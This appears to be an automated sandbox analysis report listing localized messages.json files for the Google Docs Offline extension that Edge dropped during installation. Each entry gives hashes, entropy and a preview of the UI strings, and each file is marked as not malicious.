C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
